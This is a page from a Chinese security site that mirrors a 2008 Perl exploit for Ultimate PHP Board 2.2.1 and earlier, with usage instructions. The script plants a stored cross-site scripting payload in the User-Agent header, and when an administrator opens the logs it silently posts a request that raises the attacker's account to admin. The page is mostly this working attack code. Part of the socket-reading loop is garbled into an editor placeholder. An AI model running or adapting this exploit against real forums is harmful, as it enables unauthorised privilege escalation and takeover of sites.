首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit
来源:staker[at]hotmail[dot]it 作者:athos 发布时间:2008-12-29  
#!/usr/bin/perl -w
# ------------------------------------------------------------------
# Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit
# ------------------------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://www.myupb.com/
# ------------------------------------------------------------------
# Usage:
# perl xpl.pl host path id email
# perl xpl.pl localhost/upb 21 root@r00x.com
# ------------------------------------------------------------------
# Note: don't add me on msn messenger
#       thanks evilsocket 
#       thanks meh for ajax code
#       my email staker.38@gmail.com
# ------------------------------------------------------------------

use strict;
use IO::Socket;

my ($host,$path,$id,$email) = @ARGV;


if (@ARGV != 4) {
      
      print "\n+--------------------------------------------------------------------+\r".
            "\n| Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit |\r".
            "\n+--------------------------------------------------------------------+\r".
            "\n(user -> admin xpl )by athos - staker[at]hotmail[dot]it\n".
            "\nUsage   + perl $0 [host] [path] [ID] [email]".
            "\nHost    + localhost".
            "\nPath    + forum path /upb)".
            "\nID      + your user ID".
            "\nEmail   + your/any email\n";
      exit;
} 

&exploit();


sub exploit () {

     my $content = undef;
     my $uagent  = &logs;
     my $packet  = undef;
     my $socket  = new IO::Socket::INET(
                                         PeerAddr => $host,
                                         PeerPort => 80,
                                         Proto    => 'tcp',
                                       ) or die $!;
                            
     $packet .= "GET /$path/index.php HTTP/1.1\r\n";
     $packet .= "Host: $host\r\n";
     $packet .= "User-Agent: $uagent\r\n";
     $packet .= "Connection: close\r\n\r\n";
     
     $socket->send($packet);
     
     while (<$socket>) {
        $content .= 
___FCKpd___0
; } if ($content =~ m/myUPB/i) { print "Exploit Done!\n"; print "You'll become admin when the real admin will visit the logs\n"; exit; } else { print "Exploit Failed!\n"; exit; } } sub logs () { my $logs = "Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d". "<script>var xplurl='http://$host/$path/admin_members.php?a". "ction=edit&id=$id&page=10'; var xpldata='a=1&level=3&email". "=$email&status&location&website&avatar&msn&yahoo&icq&sig&u_". "timezone=0&B1=Submit';function s(s){var h=((window.ActiveXO". "bject)?new ActiveXObject('Microsoft.XMLHTTP'):new XMLHttp". "Request());h.open('POST', xplurl, true);h.setRequestHeader". "('Content-type','application/x-www-form-urlencoded');h.setRe". "questHeader('Content-length',xpldata.length);h.setRequestHea". "der('Connection','close');h.send(xpldata);}s();</script>"; return $logs; }

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TaskDriver <= 1.3 Remote Chang
·IntelliTamper 2.07/2.08 (Proxy
·Flexphplink Pro Arbitrary File
·CMS NetCat 3.0/3.12 Blind SQL
·SasCam WebCam Server 2.6.5 Act
·Linux Kernel < 2.6.26.4 SCTP K
·Megacubo 5.0.7 (mega://) Remot
·Safari (Webkit) version 3.2 re
·Chilkat FTP ActiveX (SaveLastE
·Mozilla Firefox version 3.0.5
·DeluxeBB <= 1.2 Remote Blind S
·apache 1.x <=> 2.x suphp (suPH
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved